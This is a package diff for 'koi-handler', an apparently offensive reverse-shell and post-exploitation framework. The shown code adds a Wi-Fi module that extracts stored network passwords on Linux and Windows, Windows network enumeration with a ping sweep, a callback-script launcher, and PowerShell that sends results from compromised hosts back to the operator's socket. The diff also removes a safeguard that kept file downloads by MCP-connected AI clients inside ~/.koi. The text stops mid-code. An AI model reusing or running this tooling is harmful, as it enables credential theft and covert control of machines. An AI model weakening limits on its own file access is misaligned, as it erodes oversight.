koi-handler 0.12.3__tar.gz → 0.12.4__tar.gz

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (72) hide show
  1. {koi_handler-0.12.3/src/koi_handler.egg-info → koi_handler-0.12.4}/PKG-INFO +1 -1
  2. {koi_handler-0.12.3 → koi_handler-0.12.4}/pyproject.toml +1 -1
  3. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/listener.py +16 -0
  4. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/mcp/server.py +6 -11
  5. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/blueprint.py +20 -7
  6. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/network_enum.py +236 -2
  7. koi_handler-0.12.4/src/koi/modules/wifi_enum.py +212 -0
  8. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/connect/winrm.py +12 -3
  9. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/connect/wsman.py +75 -16
  10. {koi_handler-0.12.3 → koi_handler-0.12.4/src/koi_handler.egg-info}/PKG-INFO +1 -1
  11. koi_handler-0.12.3/src/koi/modules/wifi_enum.py +0 -62
  12. {koi_handler-0.12.3 → koi_handler-0.12.4}/LICENSE +0 -0
  13. {koi_handler-0.12.3 → koi_handler-0.12.4}/setup.cfg +0 -0
  14. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/main.py +0 -0
  15. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/mcp/__init__.py +0 -0
  16. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/mcp/schema.py +0 -0
  17. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/download.py +0 -0
  18. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/duplicate.py +0 -0
  19. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/get_processes.py +0 -0
  20. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/get_users.py +0 -0
  21. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/ligolo.py +0 -0
  22. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/loader.py +0 -0
  23. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/peas.py +0 -0
  24. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/populate_win.py +0 -0
  25. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/secrets_dump.py +0 -0
  26. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/sharphound.py +0 -0
  27. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/ssh_persist.py +0 -0
  28. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/sysinfo.py +0 -0
  29. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/upload.py +0 -0
  30. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/upload64.py +0 -0
  31. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/modules/winscalate.py +0 -0
  32. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/session.py +0 -0
  33. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/__init__.py +0 -0
  34. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/agent_payload.py +0 -0
  35. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/__init__.py +0 -0
  36. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/__main__.py +0 -0
  37. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/agent.py +0 -0
  38. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/packet.py +0 -0
  39. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/proxy.py +0 -0
  40. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/stack.py +0 -0
  41. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/tcp.py +0 -0
  42. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/transport.py +0 -0
  43. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/engine/tun.py +0 -0
  44. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/tunnel/manager.py +0 -0
  45. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/__init__.py +0 -0
  46. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/bash_obfuscate.py +0 -0
  47. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/cache.py +0 -0
  48. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/cli.py +0 -0
  49. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/config.py +0 -0
  50. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/config_ui.py +0 -0
  51. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/connect/__init__.py +0 -0
  52. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/connect/base.py +0 -0
  53. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/connect/ntlm.py +0 -0
  54. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/connect/ssh.py +0 -0
  55. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/constants.py +0 -0
  56. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/detect.py +0 -0
  57. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/interact.py +0 -0
  58. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/logger.py +0 -0
  59. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/models.py +0 -0
  60. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/obfuscate_ui.py +0 -0
  61. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/payloads.py +0 -0
  62. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/powerupgrade.py +0 -0
  63. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/ps_obfuscate.py +0 -0
  64. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/tcp.py +0 -0
  65. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/terminal.py +0 -0
  66. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/tls.py +0 -0
  67. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi/utils/ui.py +0 -0
  68. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi_handler.egg-info/SOURCES.txt +0 -0
  69. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi_handler.egg-info/dependency_links.txt +0 -0
  70. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi_handler.egg-info/entry_points.txt +0 -0
  71. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi_handler.egg-info/requires.txt +0 -0
  72. {koi_handler-0.12.3 → koi_handler-0.12.4}/src/koi_handler.egg-info/top_level.txt +0 -0
@@ -1,6 +1,6 @@
1
1
  Metadata-Version: 2.4
2
2
  Name: koi-handler
3
- Version: 0.12.3
3
+ Version: 0.12.4
4
4
  Summary: Reverse shell listener
5
5
  Requires-Python: >=3.10
6
6
  License-File: LICENSE
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
4
4
 
5
5
  [project]
6
6
  name = "koi-handler"
7
- version = "0.12.3"
7
+ version = "0.12.4"
8
8
  description = "Reverse shell listener"
9
9
  requires-python = ">=3.10"
10
10
  dependencies = [
@@ -615,6 +615,8 @@ class Listener:
615
615
 
616
616
  expect_ip = None if (host is None or transport.direct) else target_ip
617
617
  landed = self._wait_for_callback(known, expect_ip)
618
+ if landed and transport.direct:
619
+ landed.addr = (target_ip, landed.addr[1])
618
620
  if not landed:
619
621
  notify('warning', f"No callback after {int(_CONNECT_WAIT)}s.")
620
622
  notify('status', muted(
@@ -648,6 +650,16 @@ class Listener:
648
650
  except Exception:
649
651
  pass
650
652
 
653
+ def _cmd_self(self) -> None:
654
+ from koi.utils.payloads import linux_callback_script
655
+ script = linux_callback_script('127.0.0.1', self.port)
656
+ subprocess.Popen(
657
+ ['sh', '-c', script],
658
+ stdin=subprocess.DEVNULL,
659
+ stdout=subprocess.DEVNULL,
660
+ stderr=subprocess.DEVNULL,
661
+ )
662
+
651
663
  def _cmd_stop_accepting(self) -> None:
652
664
  if not self._accepting:
653
665
  notify('warning', "Listener is already paused.")
@@ -700,6 +712,10 @@ class Listener:
700
712
  self._cmd_connect(parts[1:])
701
713
  return True
702
714
 
715
+ if cmd == "self":
716
+ self._cmd_self()
717
+ return True
718
+
703
719
  if cmd == "tunnel":
704
720
  self._cmd_tunnel(parts[1:])
705
721
  return True
@@ -40,8 +40,6 @@ _MAX_EXEC_TIMEOUT = 600.0
40
40
  _MAX_TAG_LEN = 64
41
41
  _MAX_OUTPUT_BYTES = 256 * 1024
42
42
 
43
- # MCP file transfers are confined here; a CLI operator stays unrestricted.
44
- _DOWNLOAD_ROOT = Path.home() / ".koi" / "downloads"
45
43
 
46
44
  # Tools that mutate state or run code: never offered on a read-only connection.
47
45
  _EXEC_ONLY_TOOLS = {"koi_exec", "koi_tag", "koi_tunnel_start", "koi_tunnel_stop"}
@@ -104,14 +102,12 @@ def _exec_timeout(value) -> float:
104
102
  return min(timeout, _MAX_EXEC_TIMEOUT)
105
103
 
106
104
 
107
- def _confine_download_output(client_value, remote_path: str) -> str:
108
- _DOWNLOAD_ROOT.mkdir(parents=True, exist_ok=True)
105
+ def _resolve_download_output(client_value, remote_path: str) -> str:
109
106
  if client_value:
110
- base = Path(str(client_value)).name # drop any directory component
111
- else:
112
- stripped = remote_path.rstrip("/\\")
113
- base = ntpath.basename(stripped) or posixpath.basename(stripped)
114
- return str(_DOWNLOAD_ROOT / (base or "download"))
107
+ return str(Path(str(client_value)).resolve())
108
+ stripped = remote_path.rstrip("/\\")
109
+ base = ntpath.basename(stripped) or posixpath.basename(stripped)
110
+ return str(Path.cwd() / (base or "download"))
115
111
 
116
112
 
117
113
 
@@ -588,12 +584,11 @@ class KoiMCPServer:
588
584
  ts = time.strftime("%H:%M:%S")
589
585
  self.listener._announce('status', f"{accent(ts)} {plain('MCP: module')} {muted(mod_name)} {plain(f'on session #{sess.id}')}")
590
586
 
591
- # Local paths from an MCP client stay confined to ~/.koi, never the operator's disk at large.
592
587
  safe_args = {k: v for k, v in arguments.items() if k != "session"}
593
588
  if mod_name == "download":
594
589
  remote = safe_args.get("remote_path")
595
590
  remote_str = " ".join(remote) if isinstance(remote, list) else str(remote or "")
596
- safe_args["output"] = _confine_download_output(safe_args.get("output"), remote_str)
591
+ safe_args["output"] = _resolve_download_output(safe_args.get("output"), remote_str)
597
592
  argv = schema_to_argv(mod_cls, safe_args)
598
593
 
599
594
  error: Optional[str] = None
@@ -277,6 +277,7 @@ class KoiModule(ABC):
277
277
 
278
278
  eol = self.session.eol
279
279
  enc = self.session.encoding
280
+
280
281
  self.session.conn.sendall((cmd + eol).encode(enc))
281
282
 
282
283
  buf = b""
@@ -300,11 +301,14 @@ class KoiModule(ABC):
300
301
  if not text or "Write-Host" in text:
301
302
  continue
302
303
  if marker in text:
303
- result = "\n".join(collected)
304
- if self._logger and result:
305
- self._logger.log_event(f"exec {ps_expr}")
306
- self._logger.log_output(result.encode("utf-8", errors="replace"))
307
- return result
304
+ if text == marker:
305
+ result = "\n".join(collected)
306
+ if self._logger and result:
307
+ self._logger.log_event(f"exec {ps_expr}")
308
+ self._logger.log_output(result.encode("utf-8", errors="replace"))
309
+ return result
310
+ collected.clear()
311
+ continue
308
312
  collected.append(text)
309
313
 
310
314
  result = "\n".join(collected)
@@ -318,7 +322,7 @@ class KoiModule(ABC):
318
322
  """_win_query for upgraded sessions: PowerShell pushes the result to a
319
323
  local socket, bypassing the VT100 stream."""
320
324
  local_ip = self._get_local_ip()
321
- with TCPReceiveServer(timeout=timeout) as srv:
325
+ with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
322
326
  ps_cmd = (
323
327
  f"$_r=({ps_expr})|Out-String;"
324
328
  f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{srv.port});"
@@ -673,6 +677,15 @@ class KoiModule(ABC):
673
677
  else:
674
678
  output_lines.append(text)
675
679
 
680
+ if buf:
681
+ text = buf.decode(enc, errors="replace").strip("\r\n ")
682
+ text = _PS_PROMPT.sub("", text).strip()
683
+ if text:
684
+ if match := done_re.match(text):
685
+ returncode = int(match.group(1))
686
+ return self._build_result(
687
+ command, returncode, output_lines, started, _silent,
688
+ )
676
689
  return self._build_result(command, returncode, output_lines, started, _silent)
677
690
 
678
691
  @_owns_io
@@ -681,7 +694,7 @@ class KoiModule(ABC):
681
694
  done_re = re.compile(rf"{re.escape(marker)}:(-?\d+)")
682
695
  local_ip = self._get_local_ip()
683
696
 
684
- with TCPReceiveServer(timeout=timeout) as srv:
697
+ with TCPReceiveServer(timeout=timeout, expected_ip=self.session.addr[0]) as srv:
685
698
  ps_cmd = (
686
699
  f"$_r=(& {{ {command} }}) 2>&1 | Out-String;"
687
700
  f"$_rc={_PS_RC_ASSIGN};"
@@ -9,7 +9,7 @@ class NetworkEnumModule(KoiModule):
9
9
  name = "netscan"
10
10
  description = "Enumerate interfaces, routes, connections, open ports, and discover live hosts."
11
11
  category = "Enumeration"
12
- platform = "linux"
12
+ platform = ["linux", "windows_ps"]
13
13
  usage = "netscan <id> [--no-scan] [-s CIDR] [-t N]"
14
14
  arguments = [
15
15
  {"flags": ["--no-scan"], "action": "store_true", "default": False,
@@ -357,6 +357,12 @@ cat /etc/resolv.conf 2>/dev/null
357
357
  self.warn(f"No live hosts found on {network}.")
358
358
 
359
359
  def run(self) -> None:
360
+ if self.session.os_type == "linux":
361
+ self._run_linux()
362
+ else:
363
+ self._run_windows()
364
+
365
+ def _run_linux(self) -> None:
360
366
  no_scan = getattr(self.args, "no_scan", False)
361
367
  subnet = getattr(self.args, "subnet", None)
362
368
  t = getattr(self.args, "timeout", 1)
@@ -383,4 +389,232 @@ cat /etc/resolv.conf 2>/dev/null
383
389
  elif not ifaces and not subnet:
384
390
  self.warn("No interfaces detected, skipping host discovery.")
385
391
  else:
386
- self._discover_hosts(ifaces, subnet, t)
392
+ self._discover_hosts(ifaces, subnet, t)
393
+
394
+ # ---------------------------------------------------------------- windows
395
+
396
+ def _run_windows(self) -> None:
397
+ no_scan = getattr(self.args, "no_scan", False)
398
+ subnet = getattr(self.args, "subnet", None)
399
+ t = getattr(self.args, "timeout", 1)
400
+
401
+ with self.spinner("Enumerating interfaces..."):
402
+ iface_box, cidrs = self._win_interfaces()
403
+ if iface_box:
404
+ self.box("Interfaces", iface_box)
405
+
406
+ for spinner_msg, box_title, fn in [
407
+ ("Fetching routing table...", "Routes", self._win_routes),
408
+ ("Reading ARP neighbors...", "ARP neighbors", self._win_neighbors),
409
+ ("Listing listening ports...", "Listening ports", self._win_listening),
410
+ ("Listing established connections...", "Established connections", self._win_connections),
411
+ ("Reading DNS config...", "DNS servers", self._win_dns),
412
+ ]:
413
+ with self.spinner(spinner_msg):
414
+ data = fn()
415
+ if data:
416
+ self.box(box_title, data)
417
+
418
+ if no_scan:
419
+ self.status("Skipping live host discovery (--no-scan).")
420
+ elif not cidrs and not subnet:
421
+ self.warn("No interfaces detected, skipping host discovery.")
422
+ else:
423
+ self._win_discover_hosts(cidrs, subnet, t)
424
+
425
+ def _win_interfaces(self) -> tuple[dict[str, str], list[str]]:
426
+ raw = self._win_query(
427
+ "&{"
428
+ "(Get-NetIPAddress -EA SilentlyContinue|"
429
+ "Where-Object{$_.IPAddress -ne '127.0.0.1' -and $_.IPAddress -ne '::1'}|"
430
+ "ForEach-Object{"
431
+ f"$_.InterfaceAlias+'{self.FIELD_SEP}'+$_.IPAddress+'/'+$_.PrefixLength"
432
+ f"}})-join '{self.REC_SEP}'"
433
+ "}",
434
+ timeout=TIMEOUTS["exec_query"],
435
+ )
436
+ grouped: dict[str, list[str]] = {}
437
+ cidrs: list[str] = []
438
+ for entry in raw.split(self.REC_SEP):
439
+ entry = entry.strip()
440
+ if self.FIELD_SEP not in entry:
441
+ continue
442
+ iface, addr = entry.split(self.FIELD_SEP, 1)
443
+ iface, addr = iface.strip(), addr.strip()
444
+ if not iface or not addr:
445
+ continue
446
+ grouped.setdefault(iface, []).append(addr)
447
+ if '.' in addr and '/' in addr:
448
+ cidrs.append(addr)
449
+ return {i: " ".join(a) for i, a in grouped.items()}, cidrs
450
+
451
+ def _win_routes(self) -> dict[str, str]:
452
+ raw = self._win_query(
453
+ "&{"
454
+ "(Get-NetRoute -AddressFamily IPv4 -EA SilentlyContinue|"
455
+ "Where-Object{$_.NextHop -ne '0.0.0.0'}|"
456
+ "Sort-Object DestinationPrefix|"
457
+ "ForEach-Object{"
458
+ f"$_.DestinationPrefix+'{self.FIELD_SEP}'+'via '+$_.NextHop+' iface='+$_.InterfaceAlias"
459
+ f"}})-join '{self.REC_SEP}'"
460
+ "}",
461
+ timeout=TIMEOUTS["exec_query"],
462
+ )
463
+ box: dict[str, str] = {}
464
+ for entry in raw.split(self.REC_SEP):
465
+ entry = entry.strip()
466
+ if self.FIELD_SEP not in entry:
467
+ continue
468
+ dest, detail = entry.split(self.FIELD_SEP, 1)
469
+ if dest.strip():
470
+ box[dest.strip()] = detail.strip()
471
+ return box
472
+
473
+ def _win_neighbors(self) -> dict[str, str]:
474
+ raw = self._win_query(
475
+ "&{"
476
+ "(Get-NetNeighbor -EA SilentlyContinue|"
477
+ "Where-Object{$_.State -ne 'Unreachable' -and $_.State -ne 'Permanent'"
478
+ " -and $_.IPAddress -notlike 'ff0*' -and $_.IPAddress -notlike '224.*'}|"
479
+ "ForEach-Object{"
480
+ f"$_.IPAddress+'{self.FIELD_SEP}'+$_.LinkLayerAddress+"
481
+ f"'{self.FIELD_SEP}'+$_.State+'{self.FIELD_SEP}'+$_.InterfaceAlias"
482
+ f"}})-join '{self.REC_SEP}'"
483
+ "}",
484
+ timeout=TIMEOUTS["exec_query"],
485
+ )
486
+ box: dict[str, str] = {}
487
+ for entry in raw.split(self.REC_SEP):
488
+ entry = entry.strip()
489
+ parts = entry.split(self.FIELD_SEP)
490
+ if len(parts) < 4:
491
+ continue
492
+ ip, mac, state, iface = [p.strip() for p in parts[:4]]
493
+ if ip and mac:
494
+ box[ip] = f"{mac} [{state}] iface={iface}"
495
+ return box
496
+
497
+ def _win_listening(self) -> dict[str, str]:
498
+ raw = self._win_query(
499
+ "&{"
500
+ "$c=Get-NetTCPConnection -State Listen -EA SilentlyContinue;"
501
+ "if(!$c){return};"
502
+ "$pids=@($c|ForEach-Object{[int]$_.OwningProcess}|Sort-Object -Unique);"
503
+ "$pm=@{};"
504
+ "Get-Process -Id $pids -EA SilentlyContinue|"
505
+ "ForEach-Object{$pm[$_.Id]=$_.ProcessName};"
506
+ "($c|ForEach-Object{"
507
+ f"$_.LocalAddress+':'+$_.LocalPort+'{self.FIELD_SEP}'+"
508
+ f"$pm[[int]$_.OwningProcess]+'{self.FIELD_SEP}'+$_.OwningProcess"
509
+ f"}})-join '{self.REC_SEP}'"
510
+ "}",
511
+ timeout=TIMEOUTS["exec_query"],
512
+ )
513
+ box: dict[str, str] = {}
514
+ for entry in raw.split(self.REC_SEP):
515
+ entry = entry.strip()
516
+ parts = entry.split(self.FIELD_SEP)
517
+ if len(parts) < 3:
518
+ continue
519
+ addr, proc, pid = [p.strip() for p in parts[:3]]
520
+ if addr:
521
+ box[addr] = f"{proc} pid={pid}" if proc else f"pid={pid}"
522
+ return box
523
+
524
+ def _win_connections(self) -> dict[str, str]:
525
+ raw = self._win_query(
526
+ "&{"
527
+ "$c=Get-NetTCPConnection -State Established -EA SilentlyContinue;"
528
+ "if(!$c){return};"
529
+ "$pids=@($c|ForEach-Object{[int]$_.OwningProcess}|Sort-Object -Unique);"
530
+ "$pm=@{};"
531
+ "Get-Process -Id $pids -EA SilentlyContinue|"
532
+ "ForEach-Object{$pm[$_.Id]=$_.ProcessName};"
533
+ "($c|ForEach-Object{"
534
+ "$_.LocalAddress+':'+$_.LocalPort+' -> '+"
535
+ f"$_.RemoteAddress+':'+$_.RemotePort+'{self.FIELD_SEP}'+"
536
+ f"$pm[[int]$_.OwningProcess]+'{self.FIELD_SEP}'+$_.OwningProcess"
537
+ f"}})-join '{self.REC_SEP}'"
538
+ "}",
539
+ timeout=TIMEOUTS["exec_query"],
540
+ )
541
+ box: dict[str, str] = {}
542
+ for entry in raw.split(self.REC_SEP):
543
+ entry = entry.strip()
544
+ parts = entry.split(self.FIELD_SEP)
545
+ if len(parts) < 3:
546
+ continue
547
+ addr, proc, pid = [p.strip() for p in parts[:3]]
548
+ if addr:
549
+ box[addr] = f"{proc} pid={pid}" if proc else f"pid={pid}"
550
+ return box
551
+
552
+ def _win_dns(self) -> dict[str, str]:
553
+ raw = self._win_query(
554
+ "&{"
555
+ "(Get-DnsClientServerAddress -AddressFamily IPv4 -EA SilentlyContinue|"
556
+ "Where-Object{$_.ServerAddresses}|"
557
+ "ForEach-Object{"
558
+ f"$_.InterfaceAlias+'{self.FIELD_SEP}'+($_.ServerAddresses -join ', ')"
559
+ f"}})-join '{self.REC_SEP}'"
560
+ "}",
561
+ timeout=TIMEOUTS["exec_query"],
562
+ )
563
+ box: dict[str, str] = {}
564
+ for entry in raw.split(self.REC_SEP):
565
+ entry = entry.strip()
566
+ if self.FIELD_SEP not in entry:
567
+ continue
568
+ iface, servers = entry.split(self.FIELD_SEP, 1)
569
+ if iface.strip() and servers.strip():
570
+ box[iface.strip()] = servers.strip()
571
+ return box
572
+
573
+ def _win_discover_hosts(
574
+ self, cidrs: list[str], subnet_override: str | None, t: int,
575
+ ) -> None:
576
+ targets = [subnet_override] if subnet_override else cidrs
577
+ for cidr in targets:
578
+ net, prefix = self._cidr_to_network(cidr)
579
+ network = f"{net}/{prefix}"
580
+ host_count = max(2 ** (32 - prefix) - 2, 1)
581
+ self.status(f"Host discovery on {network} ({host_count} hosts)...")
582
+ if host_count > 2048:
583
+ self.warn(f"Large subnet ({host_count} hosts), skipping. Use -s to narrow.")
584
+ continue
585
+
586
+ net_int = self._ip_to_int(net)
587
+ ips = [
588
+ ".".join(str(((net_int + i) >> s) & 0xFF) for s in (24, 16, 8, 0))
589
+ for i in range(1, host_count + 1)
590
+ ]
591
+ ps_array = ",".join(f"'{ip}'" for ip in ips)
592
+ timeout_ms = t * 1000
593
+
594
+ with self.spinner(f"Ping sweeping {network} ({host_count} hosts)..."):
595
+ raw = self._win_query(
596
+ "&{"
597
+ f"$ips=@({ps_array});"
598
+ "$tasks=@($ips|ForEach-Object{"
599
+ f"[Net.NetworkInformation.Ping]::new().SendPingAsync($_,{timeout_ms})"
600
+ "});"
601
+ "[Threading.Tasks.Task]::WaitAll($tasks);"
602
+ "($tasks|Where-Object{$_.Result.Status -eq 'Success'}|"
603
+ f"ForEach-Object{{$_.Result.Address.ToString()}})-join '{self.REC_SEP}'"
604
+ "}",
605
+ timeout=t * 3 + 30,
606
+ )
607
+
608
+ live: dict[str, str] = {}
609
+ for ip in raw.split(self.REC_SEP):
610
+ ip = ip.strip()
611
+ if re.match(r'^\d+\.\d+\.\d+\.\d+$', ip):
612
+ live[ip] = "ICMP reply"
613
+
614
+ if live:
615
+ self.box(
616
+ f"Live hosts {network} ({len(live)} up)",
617
+ dict(sorted(live.items())),
618
+ )
619
+ else:
620
+ self.warn(f"No live hosts found on {network}.")
@@ -0,0 +1,212 @@
1
+ from __future__ import annotations
2
+
3
+ import re
4
+ from koi.modules.blueprint import KoiModule
5
+ from koi.utils.config import TIMEOUTS
6
+
7
+
8
+ class WifiEnumModule(KoiModule):
9
+ name = "wifi"
10
+ description = "Enumerate nearby Wi-Fi networks and extract stored credentials."
11
+ category = "Enumeration"
12
+ platform = ["linux", "windows_ps"]
13
+ usage = "wifi <id>"
14
+
15
+ def run(self) -> None:
16
+ if self.session.os_type == "linux":
17
+ self._run_linux()
18
+ else:
19
+ self._run_windows()
20
+
21
+ # ------------------------------------------------------------------ linux
22
+
23
+ def _run_linux(self) -> None:
24
+ self.status("Analyzing Wi-Fi...")
25
+
26
+ with self.spinner("Scanning Wi-Fi networks..."):
27
+ nmcli_res = self._try_exec(
28
+ "nmcli --fields BARS,SSID,SECURITY device wifi list 2>/dev/null",
29
+ timeout=TIMEOUTS["exec_query"],
30
+ )
31
+
32
+ if nmcli_res and "SSID" in nmcli_res:
33
+ scanned: dict[str, str] = {}
34
+ for line in nmcli_res.splitlines()[1:]:
35
+ lc = line.strip()
36
+ if not lc:
37
+ continue
38
+ parts = re.split(r'\s{2,}', lc)
39
+ ssid = parts[1].strip() if len(parts) > 1 else ""
40
+ if not ssid or ssid == "--":
41
+ ssid = "hidden"
42
+ key, n = ssid, 1
43
+ while key in scanned:
44
+ n += 1
45
+ key = f"{ssid} ({n})"
46
+ scanned[key] = lc
47
+ if scanned:
48
+ self.box("Detected networks (via nmcli)", scanned)
49
+ else:
50
+ self.warn("nmcli returned no results (check interface status).")
51
+
52
+ self.status("Checking Wi-Fi configuration files...")
53
+ creds: dict[str, str] = {}
54
+
55
+ wpa_conf = self._try_exec(
56
+ "cat /etc/wpa_supplicant/wpa_supplicant.conf 2>/dev/null",
57
+ timeout=TIMEOUTS["exec_query"],
58
+ )
59
+ if wpa_conf and "network=" in wpa_conf:
60
+ for block in re.findall(r'network=\{([^\}]+)\}', wpa_conf, re.DOTALL):
61
+ ssid_m = re.search(r'ssid="([^"]+)"', block)
62
+ psk_m = re.search(r'psk="([^"]+)"', block)
63
+ if ssid_m:
64
+ psk = psk_m.group(1) if psk_m else "[Key missing]"
65
+ creds[f"wpa_supplicant ({ssid_m.group(1)})"] = f"PSK: {psk}"
66
+
67
+ nm_raw = self._try_exec(
68
+ "grep -rH '^psk=' /etc/NetworkManager/system-connections/ 2>/dev/null",
69
+ timeout=TIMEOUTS["exec_query"],
70
+ )
71
+ if nm_raw:
72
+ for line in nm_raw.splitlines():
73
+ m = re.match(r'.*/([^/]+?)(?:\.nmconnection)?:psk=(.+)', line)
74
+ if m:
75
+ creds[f"NetworkManager ({m.group(1)})"] = f"PSK: {m.group(2).strip()}"
76
+
77
+ if creds:
78
+ self.box("Extracted profiles", creds)
79
+ else:
80
+ self.status("No readable profiles found in standard locations.")
81
+
82
+ self.success("Wi-Fi analysis complete.")
83
+
84
+ # ---------------------------------------------------------------- windows
85
+
86
+ def _run_windows(self) -> None:
87
+ self.status("Analyzing Wi-Fi...")
88
+
89
+ with self.spinner("Checking Wi-Fi interface..."):
90
+ iface_raw = self._win_query(
91
+ f"(netsh wlan show interfaces) -join '{self.REC_SEP}'",
92
+ timeout=TIMEOUTS["exec_query"],
93
+ )
94
+ if iface_raw.strip():
95
+ info: dict[str, str] = {}
96
+ for line in iface_raw.split(self.REC_SEP):
97
+ line = line.strip()
98
+ if ':' not in line or line.startswith('-'):
99
+ continue
100
+ k, _, v = line.partition(':')
101
+ k, v = k.strip(), v.strip()
102
+ if k and v:
103
+ info[k] = v
104
+ if info:
105
+ self.box("Wi-Fi Interface", info)
106
+
107
+ with self.spinner("Extracting stored Wi-Fi credentials..."):
108
+ raw = self._win_query(
109
+ "&{"
110
+ "$_wt=Add-Type -TypeDefinition '"
111
+ "using System;using System.Runtime.InteropServices;"
112
+ "public class KWlan{"
113
+ "[DllImport(\"wlanapi.dll\")]public static extern int WlanOpenHandle(int v,IntPtr r,out int n,out IntPtr h);"
114
+ "[DllImport(\"wlanapi.dll\")]public static extern int WlanCloseHandle(IntPtr h,IntPtr r);"
115
+ "[DllImport(\"wlanapi.dll\")]public static extern int WlanGetProfile(IntPtr h,"
116
+ "[MarshalAs(UnmanagedType.LPStruct)]Guid g,"
117
+ "[MarshalAs(UnmanagedType.LPWStr)]string p,IntPtr r,"
118
+ "[MarshalAs(UnmanagedType.LPWStr)]out string x,ref int f,out int a);"
119
+ "}' -PassThru;"
120
+ "$_v=0;$_h=[IntPtr]::Zero;"
121
+ "if([KWlan]::WlanOpenHandle(2,[IntPtr]::Zero,[ref]$_v,[ref]$_h)-ne 0){return};"
122
+ "$_g=[Guid]((netsh wlan show interfaces|"
123
+ "Select-String '[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}').Matches[0].Value);"
124
+ "$ps=@((netsh wlan show profiles 2>$null)|"
125
+ "Where-Object{$_ -match '^\\s+.+:\\s+\\S'}|"
126
+ "ForEach-Object{($_ -split ':\\s+',2)[-1].Trim()});"
127
+ "if(!$ps -or $ps.Count -eq 0){[KWlan]::WlanCloseHandle($_h,[IntPtr]::Zero)|Out-Null;return};"
128
+ "$r=@();"
129
+ "foreach($p in $ps){"
130
+ "$_x='';$_f=4;$_a=0;"
131
+ "if([KWlan]::WlanGetProfile($_h,$_g,$p,[IntPtr]::Zero,[ref]$_x,[ref]$_f,[ref]$_a)-eq 0 -and $_x){"
132
+ "[xml]$_d=$_x;"
133
+ "$a=$_d.WLANProfile.MSM.security.authEncryption.authentication;"
134
+ "if(!$a){$a='?'};"
135
+ "$k=$_d.WLANProfile.MSM.security.sharedKey.keyMaterial;"
136
+ "if(!$k){$k='[none]'};"
137
